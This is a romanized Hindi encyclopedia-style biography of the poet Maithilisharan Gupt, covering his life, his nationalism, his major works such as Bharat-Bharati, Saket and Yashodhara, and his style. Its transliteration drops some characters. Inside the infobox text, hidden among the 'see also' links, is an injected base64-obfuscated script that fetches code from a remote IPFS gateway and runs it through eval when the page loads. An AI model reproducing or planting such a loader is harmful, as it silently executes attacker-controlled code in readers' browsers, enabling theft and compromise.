मैथिलीशरण गुप्त

maithilisharan gupt |200px|center poora nam maithilisharan gupt janm 3 agast, 1886 janm bhoomi chiragaanv, jhaansi, uttar pradesh mrityu 12 disanbar, 1964 mrityu sthan chiragaanv, jhaansi abhibhavak seth ramacharan, kashibaee karm bhoomi bharat karm-kshetr natakakar, lekhak, kavi mukhy rachanaean panchavati, saket, jayadrath vadh, yashodhara, dvapar, jhankar, jayabharat. bhasha brajabhasha vidyalay rajakiy vidyalay puraskar-upadhi padmabhooshan, hindustani akadami puraskar, mangala prasad paritoshik, sahity vachaspati, di.lith. ki upadhi. nagarikata bharatiy pad rashtrakavi, saansad any janakari 1952 mean gupt ji rajy sabha ke sadasy manonit hue aur 1954 mean unhean 'padmabhooshan' alankar se sammanit kiya gaya. inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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maithilisharan gupt (aangrezi: Maithili Sharan Gupt, janm- 3 agast, 1886, jhaansi; mrityu- 12 disanbar, 1964, jhaansi) kh di boli ke pratham mahatvapoorn kavi the. mahavir prasad dvivedi ki prerana se apane kh di boli ko apani rachanaoan ka madhyam banaya aur apani kavita ke dvara kh di boli ko ek kavy-bhasha ke roop mean nirmit karane mean athak prayas kiya. is tarah brajabhasha jaisi samriddh kavy bhasha ko chho dakar samay aur sandarbhoan ke anukool hone ke karan naye kaviyoan ne ise hi apani kavy-abhivyakti ka madhyam banaya. hindi kavita ke itihas mean gupt ji ka yah sabase b da yogadan hai.

jivan parichay

maithilisharan gupt ji ka janm 3 agast 1886 chiragaanv, jhaansi, uttar pradesh mean hua tha. sanbhraant vaishy parivar mean janme maithilisharan gupt ke pita ka nam 'seth ramacharan' aur mata ka nam 'shrimati kashibaee' tha. pita ramacharan ek nishthavanh prasiddh ram bhakt the. inake pita 'kanakalata' up nam se kavita kiya karate the aur ram ke vishnutv mean atal astha rakhate the. gupt ji ko kavitv pratibha aur ram bhakti paitrik den mean mili thi. ve balyakal mean hi kavy rachana karane lage. pita ne inake ek chhand ko padhakar ashirvad diya ki "too age chalakar hamase hazar guni achchhi kavita karega" aur yah ashirvad aksharashah saty hua. muanshi ajameri ke sahachary ne unake kavy-sanskaroan ko vikasit kiya. unake vyaktitv mean prachin sanskaroan tatha adhunik vicharadhara donoan ka samanvay tha. maithilisharan gupt ji ko sahity jagath mean 'dadda' nam se sambodhit kiya jata tha.

shiksha

maithilisharan gupt ki prarambhik shiksha chiragaanv, jhaansi ke rajakiy vidyalay mean huee. praranbhik shiksha samapt karane ke uparant gupt ji jhaansi ke mekad aaunal haeeskool mean aangrezi padhane ke lie bheje ge, par vahaan inaka man n laga aur do varsh pashchath hi ghar par inaki shiksha ka prabandh kiya. lekin padhane ki apeksha inhean chakee phirana aur patang u dana adhik pasand tha. phir bhi inhoanne ghar par hi sanskrit, hindi tatha baangla sahity ka vyapak adhyayan kiya. inhean 'alha' padhane mean bhi bahut anand ata tha.

kavy pratibha

isi bich guptaji muanshi ajameri ke sanpark mean aye aur unake prabhav se inaki kavy-pratibha ko protsahan prapt hua. atah ab ye dohe, chhappayoan mean kavy rachana karane lage, jo kalakatta (vartaman kolakata) mean prakashit hone vale 'vaishyopakarak' patr mean prakashit huee. achary mahavir prasad dvivedi jab jhaansi ke relave aauphis mean chif klark the, tab guptaji apane b de bhaee ke sath unase milane ge aur kalaantar mean unhian ki chhatrachhaya mean maithilisharan ji ki kavy pratibha pallavit v pushpit huee. ve dvivedi ji ko apana kavy guru manate the aur unhian ke bataye marg par chalate rahe tatha jivan ke aant tak sahity sadhana mean rat rahe. unhoanne rashtriy aandalanoan mean bhi bhag liya aur jel yatra bhi ki.

lokasangrahi kavi

maithilisharan gupt ji svabhav se hi lokasangrahi kavi the aur apane yug ki samasyaoan ke prati vishesh roop se sanvedanashil rahe. unaka kavy ek or vaishnav bhavana se pariposhit tha, to sath hi jagaran v sudhar yug ki rashtriy naitik chetana se anupranit bhi tha. lala lajapataray, bal gangadhar tilak, vipinachandr pal, ganesh shankar vidyarthi aur madanamohan malaviy unake adarsh rahe. mahatma gaandhi ke bharatiy rajanitik jivan mean ane se poorv hi gupt ka yuva man garam dal aur tatkalin krantikari vicharadhara se prabhavit ho chuka tha. 'anagh' se poorv ki rachanaoan mean, visheshakar jayadrath vadh aur bharat bharati mean kavi ka krantikari svar sunaee p data hai. bad mean mahatma gaandhi, rajendr prasad, javahar lal neharoo aur vinoba bhave ke sampark mean ane ke karan vah gaandhivad ke vyavaharik paksh aur sudharavadi aandolanoan ke samarthak bane. 1936 mean gaandhi ne hi unhean maithili kavy–man granth bheant karate hue rashtrakavi ka sambodhan diya. mahavir prasad dvivedi ke sansarg se guptaji ki kavy–kala mean nikhar aya aur unaki rachanaean 'sarasvati' mean nirantar prakashit hoti rahian. 1909 mean unaka pahala kavy jayadrath-vadh aya. jayadrath-vadh ki lokapriyata ne unhean lekhan aur prakashan ki prerana di. 59 varshoan mean gupt ji ne gady, pady, natak, maulik tatha anoodit sab milakar, hindi ko lagabhag 74 rachanaean pradan ki haian. jinamean do mahakavy, 20 khand kavy, 17 gitikavy, char natak aur gitinaty haian.

desh prem

kavy ke kshetr mean apani lekhani se sanpoorn desh mean rashtrabhakti ki bhavana bhar di thi. rashtraprem ki is ajasr dhara ka pravah buandelakhand kshetr ke chiragaanv se kavita ke madhyam se ho raha tha. bad mean is rashtraprem ki is dhara ko desh bhar mean pravahit kiya tha, rashtrakavi maithilisharan gupt ne. thumb|left|maithilisharan gupt

jo bhara nahian hai bhavoan se jisamean bahati rasadhar nahian.
vah hriday nahian hai patthar hai, jisamean svadesh ka pyar nahian.

pitaji ke ashirvad se vah rashtrakavi ke sopan tak padasin hue. mahatma gaandhi ne unhean rashtrakavi kahe jane ka gaurav pradan kiya. bharat sarakar ne unaki sevaoan ko dekhate hue unhean do bar rajyasabha ki sadasyata pradan ki. hindi mean maithilisharan gupt ki kavy-sadhana sadaiv smaraniy rahegi. buandelakhand mean janm lene ke karan gupt ji bolachal mean buandelakhandi bhasha ka hi prayog karate the. dhoti aur bandi pahanakar mathe par tilak lagakar sant ke roop mean apani haveli mean baithe raha karate the. unhoanne apani sahityik sadhana se hindi ko samriddh kiya. maithilisharan gupt ke jivan mean rashtriyata ke bhav koot-koot kar bhar ge the. isi karan unaki sabhi rachanaean rashtriy vicharadhara se ot prot hai. ve bharatiy sanskriti evan itihas ke param bhakt the. parantu aandhavishvasoan aur thothe adarshoan mean unaka vishvas nahian tha. ve bharatiy sanskriti ki navinatam roop ki kamana karate the.

mahakavy

maithilisharan gupt ko kavy kshetr ka shiromani kaha jata hai. maithilisharan ji ki prasiddhi ka mooladhar bharat–bharati hai. bharat–bharati un dinoan rashtriy svatantrata sangram ka ghoshanapatr ban gee thi. saket aur jayabharat, donoan mahakavy haian. saket ramakatha par adharit hai, kintu isake kendr mean lakshman ki patni urmila hai. saket mean kavi ne urmila aur lakshman ke dampaty jivan ke hridayasparshi prasang tatha urmila ki virah dasha ka atyant marmik chitran kiya hai, sath hi kaikeyi ke pashchattap ko darshakar usake charitr ka manovaijnanik evan ujjval paksh prastut kiya hai. yashodhara mean gautam buddh ki manini patni yashodhara kendr mean hai. yashodhara ki manahsthitiyoan ka marmik aankan is kavy mean hua hai. vishnupriya mean chaitany mahaprabhu ki patni kendr mean hai. vastutah gupt ji ne rabindranath thakur dvara baangla bhasha mean rachit 'kavyer upekshit narya' shirshak lekh se prerana prapt kar apane prabandh kavyoan mean upekshit, kintu mahimamayi nariyoan ki vyatha–katha ko chitrit kiya aur sath hi usamean adhunik chetana ke ayam bhi jo de.

vividh dharmoan, sampradayoan, mat–mataantaroan aur vibhinn sanskritiyoan ke prati sahishnuta v samanvay ki bhavana gupt ji ke kavy ka vaishishty hai. panchavati kavy mean sahaj vany–jivan ke prati gahara anurag aur prakriti ke manohari chitr haian, to nahush pauranik katha ke adhar ke madhyam se karm aur asha ka sandesh hai. jhankar vaishnav bhavana se otaprot gitikavy hai, to gurukul aur kaba–karbala mean kavi ke udar dharm–darshan ka praman milata hai. kh di boli ke svaroop nirdharan aur vikas mean gupt ji ka anyatam yogadan raha.

bharat-bharati

'bharat-bharati', maithilisharan guptaji dvara svadesh prem ko darshate hue vartaman aur bhavi durdasha se ubarane ke lie samadhan khojane ka ek saphal prayog hai. bharatavarsh ke sankshipt darshan ki kavyatmak prastuti 'bharat-bharati' nishchit roop se kisi shodh kary se kam nahian hai. guptaji ki srijanata ki dakshata ka parichay dene vali yah pustak kee samajik ayamoan par vichar karane ko vivash karati hai. yah samagri tin bhagoan mean baanti gayi hai.
[[chitr:Saket-maithilisharan-gupt.jpg|thumb|saket ka avaran prishth]] atit-khand
bharat–bharati
yah bhag bharatavarsh ke itihas par garv karane ko poornat: vivash karata hai. us samay ke darshan, dharm-kal, prakritik sanpada, kala-kaushal, jnan-vijnan, samajik-vyavastha jaise tattvoan ko sankshipt roop se smaran karavaya gaya hai. atishayokti se door isaki samagri sanlagn di gayi tika-tippaniyoan ke praman ke karan saralata se grahy ho jati haian. megasthanij se lekar ar. si. datt. tak ke kathanoan ko prasangik dhang se pathakoan ke samaksh rakhana ek kushal niyojan ka soochak hai. nirapekshata ka dhyan rakhate hue ninda aur prashansa ke pradarshan hue hai, jaise mugal kal ke kuchh kroor shasakoan ki nianda huee hai to akabar jaise mugal shasak ka bakhan bhi hua hai. aangrezoan ki unake vishkar aur adhunikikaran ke prachar ke karan prashansa bhi huee hai.

bharatavarsh ke darshan par ve kahate haian-
paye pratham jinase jagath ne darshanik sanvad haian-
gautam, kapil, jaimini, patanjali, vyas aur kanad hai.
niti par unake dvipad aise haian-
samany niti samet aise rajanitik granth haian-
sansar ke hit jo pratham punyacharan ke panth haian.
sootragranth ke sandarbh mean rrishiyoan ke vidvatta par ve likhate haian-
un rrishi-ganoan ne sookshmata se kam kitana hai liya,
ashchary hai, ghat mean unhoanne sindhu ko hai bhar diya.

vartaman-khand
daridry, naitik patan, avyavastha aur apasi bhedabhav se joojhate us samay ke desh ki durdasha ko darshate hue, samajik nootanata ki maang rakhi gayi hai.

apani huee atm-vismriti par ve kahate haian-
ham aj kya se kya hue, bhoole hue haian ham ise,
hai dhyan apane man ka, hamamean batao ab kise!
poorvaj hamare kaun the, hamako nahian yah jnan bhi,
hai bhar unake nam par do aanjali jal-dan bhi.

naitik aur dharmik patan ke lie guptaji ne upadeshakoan, sant-mahantoan aur brahmanoan ki nishkriyata aur mithya-vyavahar ko doshi man shabd ban chalaye haian. is tarah kavivar ki lekhani samajik durdasha ke mukhy karanoan ko khoj unake sudhar ki maang karati hai. hamare samajik uttaradayitv ki nishkriyata ko ujagar karate hue bhi 'vartaman khand' asha ki gaanth ko baandhe rakhati hai.

bhavishyath-khand

apane jnan, vivek aur vicharoan ki sima ko chhoote hue rashtrakavi ne samasya samadhan ke hal khojane aur logoan se usake ke lie avahan karane ka bharasak prayas kiya hai.

ary vanshaj hinduoan ko desh punarsthapana ke lie prerit karate hue ve kahate haian-
ham hinduoan ke samane adarsh jaise prapt haian-
sansar mean kis jati ko, kis thaur vaise prapt haian,
bhav-sindhu mean nij poorvajoan ke riti se hi ham tarean,
yadi ho sakean vaise n ham to anukaran to bhi karean.

pustak ki aant ki do rachanaean 'shubhakamana' aur 'vinay' kavivar ki deshabhakti ki parichayak hai. tan mean desh sadbhavana ki oorja ka sanchar karane vali yah do rachanaean kisi prarthana se kam nahian lagati.

vah amar lekhani eeshvar se prarthana karati hai-
is desh ko he dinabandho!ap phir apanaie,
bhagavanh! bharatavarsh ko phir puny-bhoomi banaiye,
j d-tuly jivan aj isaka vighn-badha poorn hai,
heramb! ab avalanb dekar vighnahar kahalaie.

rashtrakavi

apane sahityik guru mahavir prasad dvivedi ki prerana se gupt ji ne 'bharat-bharati' ki rachana ki. 'bharat-bharati' ke prakashan se hi gupt ji prakash mean aye. usi samay se apako 'rashtrakavi' ke nam se abhinandit kiya gaya. unaki sahity sadhana sanh 1921 se sanh 1964 tak nirantar age badhati rahi. gupt ji yug-pratinidhi rashtriy kavi the. is ardh-shatabdi ki samast samajik, rajanaitik, saanskritik aur sahityik halachaloan ka pratinidhitv inaki rachanaoan mean mil jata hai. inake kavy mean rashtr ki vani mukhar ho uthi hai. desh ke samaksh sabase pramukh samasya dasata se mukti thi. gupt ji ne 'bharat-bharati' tatha apani any rachanaoan ke madhyam se is disha mean prerana pradan ki. inhoanne atit gaurav ka bhav jagakar vartaman ko sudharane ki prerana di. apani abhilasha abhivyakt karate hue ve kahate haian-

"manav-bhavan mean aryajan, jisaki utarean arati.
bhagavanh bharatavarsh mean, gooanje hamari bharati."

is yug ki pramukh samasya hindoo-muslim ekata thi. gupt ji ne apani anek rachanaoan mean donoan ki ekata par bal diya. 'kaba aur karbala' mean unhoanne musalamanoan ki sahanubhooti prapt karane ka prayas kiya hai. is prakar gupt ji ne samast samasyaoan ka rashtriy drishti se samadhan prastut kiya hai.

kavy saundary

maithilisharan gupt apani bhav rashmiyoan se hindi sahity ko prakashit karane vale yug kavi the. 40 varsh tak nirantar inaki rachanaoan mean yug svar gooanjata raha. inhoanne gauravapoorn atit ko prastut karane ke sath-sath bhavishy ka bhi bhavy roop prastut kiya-

"maian atit nahian bhavishyath bhi hooan aj tumhara."

• gupt ji manavatavad ke poshak aur samarthak the. inaki bhagavat bhavana mahanh thi. inake kavy mean nirgun narayan hi prithvi ko svarg banane ke lie bhootal par ate haian.

'bhav mean nav vaibhav vyapt karane aya,
nar ko eeshvarata prapt karane aya.
sandesh yahaan maian nahian svarg ka laya,
is bhootal hi ko svarg banane aya.

• gupt ji ka kavy manas ki prerana aur pravritti ka srot hai. adhunik kal ka yah samanvit roop hai. manaviy charitr ki jitani bhi sanbhavanaean sanbhav haian, us sabaki srishti ram ka charitr hai.

bhasha-shaili

shailiyoan ke nirvachan mean maithilisharan gupt ne vividhata dikhaee, kintu pradhanata prabandhatmak itivrittamay shaili ki hai. unake adhikaansh kavy isi shaili mean haian- 'rang mean bhang', 'jayadrath vadh', 'nahush', 'siddharaj', 'tripathak', 'saket' adi prabandh shaili mean haian. yah shaili do prakar ki hai- 'khand kavyatmak' tatha 'mahakavyatmak'. saket mahakavy hai tatha shesh sabhi kavy khand kavy ke aantargat ate haian.

• gupt ji ki ek shaili vivaran shaili bhi hai. 'bharat-bharati' aur 'hindoo' is shaili mean ate haian.
• tisari shaili git shaili hai. isamean gupt ji ne natakiy pranali ka anugaman kiya hai. 'anagh' isaka udaharan hai.
• atmodgar pranali gupt ji ki ek aur shaili hai, jisamean 'dvapar' ki rachana huee hai.
• natak, git, prabandh, pady aur gady sabhi ke mishran ek mishrit shaili hai, jisamean 'yashodhara' ki rachana huee hai.

in sabhi shailiyoan mean gupt ji ko saman roop se saphalata nahian mili. unaki shaili ki sabase b di visheshata yah hai ki usamean inaka vyaktitv jhalakata hai. poorn pravah hai. bhavoan ki abhivyakti mean sahayak hokar upasthit huee haian. maithilisharan gupt ki kavy bhasha kh di boli hai. is par unaka poorn adhikar hai. bhavoan ko abhivyakt karane ke lie gupt ji ke pas atyant vyapak shabdavali hai. unaki praranbhik rachanaoan ki bhasha tatsam hai. isamean sahityik saundary kala nahian hai. 'bharat-bharati' ki bhasha mean kh di boli ki kh dakh dahat hai, kintu gupt ji ki bhasha kramashah vikas karati huee saras hoti gayi. sanskrit ke shabd bhandar se hi unhoanne apani bhasha ka bhandar bhara hai, lekin 'priyapravas' ki bhasha mean sanskrit bahula nahian hone payi. isamean prakrit roop sarvatha ubhara hua hai. bhav vyanjana ko spasht aur prabhavapoorn banane ke lie sanskrit ka sahara liya gaya hai. sanskrit ke sath gupt ji ki bhasha par praantiyata ka bhi prabhav hai. unaka kavy bhav tatha kala paksh donoan ki drishti se saphal hai.

kavyagat visheshataean

inake kavy ki visheshataean is prakar ullekhit ki ja sakati haian -

1. rashtriyata aur gaandhivad ki pradhanata
2. gauravamay atit ke itihas aur bharatiy sanskriti ki mahatta
3. parivarik jivan ko bhi yathochit mahatta
4. nari matr ko vishesh mahatv
5. prabandh aur muktak donoan mean lekhan
6. shabd shaktiyoan tatha alankaroan ke saksham prayog ke sath muhavaroan ka bhi prayog

pativiyukta nari ka varnan

svatantr bharat ke pratham rashtrakavi ke asandi par aroodh maithilisharan gupt ji ne apane sath varshiy kavy sadhana, kala mean lagabhag sattar kritiyoan ki rachana karake n keval hindi sahity ki apitu sampoorn bharatiy samaj ki amooly seva ki hai. unhoanne apane kavy mean ek or bharatiy rashtravad, sanskriti, samaj tatha rajaniti ke vishay mean naye pratimanoan ko pratishthit kiya, vahian doosari or vyakti, parivar, samaj aur rashtr ke aant:sambandhoan ke adhar par inhean navin arth bhi pradan kiya hai. guptaji dvivedi yug ke pramukh kavi the. vah yug jatiy jagaran aur rashtriy unmesh ka kal tha. ve apane yug aur usaki samasyaoan ke prati atyant sanvedanashil the. unaka sanvedanashil aur jagarook kavi hriday desh ki vartaman dasha se kshubdh tha. ve dharmik aur samajik kuritiyoan ko is durdasha ka mool karan manate the. at: unake rashtravad ki pratham jagriti dharmik aur samajik sudharavad ke roop mean dikhaee deti hai. nariyoan ki duravastha tatha du:khiyoan dinoan aur asahayoan ki pi da ne usake hriday mean karuna ke bhav bhar diye the. yahi vajah hai ki unake anek kavy granthoan mean nariyoan ki punarpratishtha evan pi dit ke prati sahanubhooti jhalakati hai. nariyoan ki dasha ko vyakt karati unaki ye panktiyaan pathakoan ke hriday mean karuna utpann karati hai-

abala jivan hay tumhari yahi kahani.
aanchal mean hai doodh aur aankhoan mean pani.

ek samunnat, sugathit aur sashakt rashtriy naitikata se yukt adarsh samaj, maryadit evan snehasikt parivar aur udatt charitr vale nar - nari ke nirman ki disha mean unhoanne prachin akhyanoan ko apane kavy ka varny vishay banakar unake sabhi patroan ko ek naya abhipray diya hai. jayadrathavadh, saket, panchavati, sairandhri, bak sanhar, yashodhara, dvapar, nahush, jayabharat, hidimba, vishnupriya evan ratnavali adi rachanaean isake udaharan haian. gupt ji maryada premi bharatiy kavi haian. unake granthoan ke supatr varik vyakti haian. unhoanne sanyukt parivar ko sarvopari mahatv diya hai tatha naitikata aur maryada se yukt sahaj saral parivarik vyakti ko shreshth mana hai. aise hi vyakti mean udatt gunoan ka pradurbhav ho sakata hai. is sandarbh mean d aau. hazari prasad dvivedi ji ka kathan drashtavy hai- maithilisharan gupt ne sampoorn bharatiy parivarik vatavaran mean udatt charitroan ka nirman kiya hai. unake kavy shuroo se aant tak prerana dene vale haian. unamean vyaktitv ka svat: samuchchhit uchchhvas nahian hai, parivarik vyaktitv ka aur sanyat jivan ka vilas hai. vastut: guptaji parivarik jivan ke kathakar hai. parivar ka astitv nari ke bina asanbhav hai. isilie ve nari ko jivan ka mahatvapoorn aang manate haian. nari ke prati unaki drishti romani n hokar maryadavadi aur saanskritik rahi hai. ve apane nari patroan mean unhian gunoan ki pratishtha karate haian, jo bharatiy kulavadhoo ke adarsh mane gaye haian. unaki drishti mean nari bhogy matr nahian apitu purush ka poorak aang hai. isilie unake kavy mean nari ke svatantr vyaktitv svabhiman, darp aur svavalamban ka samuchit chitran hua hai. unake kavy mean nari, adhikaroan ke prati sajag, shilavati, medhavini, samajasevika, sahasavati, tyagashilata aur tapasvini ke roop mean upasthit huee. is anupam srishti, isake sarjak aur isake mahatvapoorn ghatak nar - nari ke prati guptaji ki poorn astha hai. is astha ke darshan unake kavy mean hote haian. astha ka vikhandan guptaji ke lie asahaniy hai. nari ke prati purush ka anuchit acharan unhean asvikar hai. isilie 'dvapar' mean vidhrita ke madhyam se in panktiyoan ko prastut karate haian-

nar ke baante kya nari ki nagn moorti hi aee.
maan beti ya bahin hay, kya sang nahian laee॥

achary mahavir prasad dvivedi guptaji ke kavy - guru the. dvivedi ji ke kaviyoan ki urmila vishayak udasinata ke vimarsh ne gupt ji ko saket mahakavy likhane ke lie prerit kiya. bharat varsh mean gooanje hamari bharati ki prarthana karane vale kavi kalantar mean, virahini nariyoan ke du:kh se dravit ho jate haian. parivar mean rahati huee pativiyukta nari ki pi da ko jis shiddat ke sath guptaji anubhav karate haian aur use jo banagi dete haian, vah adhunik sahity mean durlabh hai. unaki viyogini nari patroan mean urmila (saket mahakavy), yashodhara (kavy) aur vishnupriya khandakavy pramukh hai. unaka karoon vipralambh tinoan patroan mean sarvadhik marmasparshi ban p da hai. unake jivan sangharsh, udatt vichar aur acharan ki pavitrata adi manaviy jijivisha aur sodeshyata ko pramanit karate haian. guptaji ki tinoan virahini nayikaean virah tap mean tapati huee bhi apane tan - man ko bhasm nahian hone deti varanh kuandan ki tarah ujjval varni ho jati haian. saket ki urmila ramayan aur ramacharitamanas ki sarvadhik upekshit patr hai. is virahini nari ke jivan vritt aur pi da ki anubhootiyoan ka vishad varnan akhyanakaroan ne nahian kiya hai. urmila lakshman ki patni hai aur apani charoan bahanoan mean vahi ek matr aisi nari hai, jisake hisse mean chaudah varshoan ke lie pativiyukta honee ka du:kh mila hai. unaki any tinoan bahanoan mean sita, ram ke sath, maandavi bharat ke sannidhy mean tatha shrutikirti shatrughn ke sang jivan yapan karati haian. urmila ka jivan vritt aur usaki virah - vedana sarvapratham maithilisharan gupt ji ki lekhani se sakar huee haian. d aau. jaginachand sahagal likhate haian - saket maithilisharan gupt ka nij kavi dhan hai. yah unaka jivan kary hai. d aau. sahagal kavi ke lakshy ki or iangit karate hue age likhate haian saket ke kavi ka lakshy ramakatha ke upekshit patroan ko prakash mean lana tatha usake devatv gunayukt patroan ko manav roop mean upasthit karana hai. guptaji ne apane kavy ka pradhan patr ram aur sita ko n banakar lakshman, urmila aur bharat ko banaya hai. guptaji ne saket mean urmila ke charitr ko jo vistar diya hai, vah apratim hai. kavi ne use moortimati usha, suvarn ki sajiv pratima kanak latika, kalpashilpi ki kala adi kahakar usake sharirik sauandary ki anupam jhaanki prastut ki hai. urmila prem evan vinod se paripoorn has - parihas mayi ramani hai. usaka has-parihas buddhimattapoorn hai- lakshman jab urmila ki manjari si aanguliyoan mean yah kala dekhakar apana sudhabudh bhool jate haian aur matt gaj sa jhoom kar urmila se anunay karate haian -

kar kamal lao tumhara choom looan.

isake pratyuttar mean urmila apana kamal sa hath pati ki or badhati huee muskarati hai aur vinod bhare shabdoan mean kahati haiai-

matt gaj banakar, vivek n chho dana.
kar kamal kah, kar n mera to dana.

ek or usaka dampaty jivan atyant alhad evan umangoan se bhara hua hai to doosari or usamean tyag, dhairy evan balidan ki bhavana atyadhik matra mean vidyaman hai. lakshman ke van gaman ka samachar sunakar usake hriday mean bhi sita ki bhaanti van - gaman ki ichchha hoti hai, parantu lakshman ki vivashata dekhakar vah apane priy ke sath chalana uchit nahian samajhati. vah apane hriday mean dhairy dharan karake apane man ko yah kah kar samajha leti hai-

too priy-path ka vighn n ban
aj svarth hai tyag dhara.
ho anurag virag bhara.
too vikar se poorn n ho
shok bhar se choorn n ho॥

kintu urmila atyant bholi - bhali sukumar evan komal hridayavali bhi hai. rajasukhoan mean pali huee vah navayauvana viyog ka du:kh kya hota hai, use nahian janati. isilie apane priyatam pati lakshman ke bichhu date hi vah apane dhairy ko samhal nahian pati aur ek mugdhanari ki bhaanti hay kahakar dh dam se dharati par gir jati hai. usaka moorchhit hona svabhavik hai kintu sachet hone par usaki bauddhikata pun: jagrit ho jati hai aur apani moorchchha ko vah nari sulabh durbalata manakar apane pati ke bare mean yahi kamana karati hai-

karana n soch mera isase. vrat mean kuchh vighn p de jisase॥

urmila ke chaudah varshoan ka virahakal vyatit karana asan nahian hai. usake pas lakshman ke sath bitaye hue sukhamay jivan ki smritiyoan ke sivay kuchh bhi nahian hai. ek - ek pal parvat sa pratit hota hai, kintu virah ke is vrihat kal ko to gujarana hi hoga. yah nishchay karake urmila seva ka marg apana leti hai. vah apani sasoan ki seva karati hai, rasoee banati hai, kisanoan ki dasha poochhati rahati hai-

poochhi thi sukaladasha maianne aj devar se

itana hi nahian. vah nagar ki jitani proshit patikaean haian, unaki sudh-budh leti hai. unake hal chal janane ke lie atur rahati hai. is tarah ek virah - vidagdha sarv suvidha sampann raj vadhu ko ek lok sevika ke roop mean roopantarit karake rashtrakavi maithilisharan gupt ne nari ko ek disha di hai. jivan ke prati atoot astha sthapit ki hai.

yashodhara khandakavy

guptaji ki yashodhara khandakavy mean rajakumar siddharth ki patni yashodhara ke manobhavoan ka bakhoobi chitran hua hai. yashodhara bhi ek viyogini nari hai. siddharth ke dvara ratri mean use soti huee chho dakar rajaprasad se chupachap sannyas hetu nikal jane se usaka man ahat ho jata hai. yashodhara ko isi bat ka du:kh tha ki usake pati samajhate the ki vah unake marg ki badha banegi isilie use bina bataean ghar chho dakar chale gaye. yahi pi da isalie aur adhik gahari ho jati hai ki jo patni sahadharmini thi, jo usake har kam mean sahayog deti thi, us par siddharth ne avishvas kiya. yashodhara ka kahana hai ki yadi ve us par vishvas karate aur grihatyag ki bat bata dete to vah unhean poora sahayog deti. usane apane ahat abhiman ki vyanjana - sakhi ve mujhase kahakar jate. git mean karati hai, vah ga uthati hai-

siddhi hetu svami gaye yah gaurav ki bat.
par chori chori gaye yah b di aghat॥
sakhi ve mujhase kahakar jate.

virahini yashodhara ki aankhoan ka pani kabhi nahian sookhata, rahul ke prati kartavy bhar ko vahan karate hue jal-jalakar kaya ko jivit rakhati hai. ek to vah pi da ka svagat karati hai. vedana too bhi bhali bani to doosari vah mrityu ka varanh sundar ban ayari. guptaji ke nari patr ghor sankat or visham paristhitiyoan mean bhi dhirata, karmanyata aur kartavy bhavana ka parityag nahian karate. ve kartavyanishtha, tyagashil aur sahishnu nari hai. yashodhara apane shvasur shuddhodan se bhi adhik dhairyavan, sahishnu hai aur vah svanirmit maryada mean tallin rahati hai. gautam dvara unaka parityag kar dene par bhi yashodhara yahi kamana karati hai-

vyarth n divy deh vah tap-varsha-him-vat sahe.
usaki sahishnuta ka yah roop hai ki vah virahini ke asahay du:kh ko bhi apane lie moolyavan manati hai.
hota sukh ka kya mooly, jo n du:kh rahata.
priy hriday saday ho tapastap kyoan sahata.
mere nayanoan se nir n yadi yah bahata.
to shushk prem ki bat kaun phir kahata.
rah du:kh prem paramarth daya maian laooan.
kah mukti bhala kisalie tumhean maian paooan.

vishnupriya khandakavy

guptaji ki vishnupriya bhi urmila aur yashodhara ke saman hi ek pativiyukta nari haian. pashchim bangal ke prasiddh sant mahaprabhu chaitany ki patni ke roop mean vah pratishthit hai. mahaprabhu chaitany ke sath unaka vivah matr 12 varsh ki ayu mean hua aur pati ke sannyasi ban jane ke karan vah 26 varshoan tak pativiyukta ban kar virahagni mean jalati rahi. vah samany madhyam parivar ki nari hai aur ni:santan hai. guptaji ne vishnupriya khandakavy mean bhi ek bharatiy nari ki vivashata ko darshaya hai. shri chaitany ke sannyas lene ke prasang mean vishnupriya ke kathan - ro ro kar marana nari likha layi hai. isaka praman hai. isi tarah anek panktiyaan ek samany nari ke roop mean vishnupriya ki vivashata ko prakat karati haian. yatha - dev ne likhaya sukh phir bhi diya nahian, meri mati aur gati keval tumhian - tumhian adi. yashodhara ki tarah usake hriday ko bhi yah sochakar thes lagati hai - hay maian chhali gayi hooan, chhipakar bhage ve. chaitany ke sannyas grahan karane hetu chale jane par vishnupriya pati viyog ke santap ko sahati huee jivikoparjan, sas ki seva aur pati - chiantan ke sahare samay vyatit karati hai. is tarah gupt ji ne vishnupriya mean prem, pi da aur kartavy bhavana ka samanvay kiya hai. svapn darshan ke madhyam se usake atmabal ko abhivyakt kiya hai aur parvotsavoan ke madhyam se usaki karunamayi samajik chetana, vedana tatha udar bhavana ko prakat kiya hai. pati aur sas ke svargarohan ke bad vishnupriya nitant akeli rah jati hai. vah hatash hokar is duniya ko chho d dena chahati hai kintu vah mar nahian pati kyoanki vah pati - smaran chho d nahian pati thi. use chaitany ki moorti mean vilin hone ka svapn ata hai. vah sati bhi nahian ho sakati kyoanki svapn mean chaitany ka adesh tha - ayu shesh rahate maran atmaghat hai, meri ek moorti rakho nij grih kaksh mean. is adesh ke anusar vishnupriya ne ek mandir banavaya - mandir banaya nij geh us devi ne. is tarah virahini vishnupriya ekantavasini hokar jitane mantr, shlok japati thi, utane hi dhany - kanoan ka bhojan karati huee pati, aur sas ka chintan karati hai. is tarah guptaji ki vishnupriya pativiyukta virahini hokar bhi bharatiy madhyamavargiy parivar ki sahanashila, sevabhavi, patiparayana, aur sada grihasth nari ke roop mean chitrit huee hai.

pramukh kritiyaan

thumb|'bharat–bharati' pustak ka avaran prishth maithilisharan ke natakoan mean 'anagh' jatak katha se sambaddh bodhisatv ki katha par adharit pady mean likha gaya natak hai.

pramukh kritiyaan nam prakashit varsh jayadrath vadh 1910 bharat–bharati 1912 panchavati 1925 saket 1933 yashodhara 1932 vishnupriya 1957 jhankar 1929 jayabharat 1952 dvapar 1936 kunal git ajit arjan aur visarjan

pramukh natak maulik natak bhas natak anagh svapnavasavadatta charanadas pratima tilottama abhishek nishkriy pratirodh avimarak visarjan

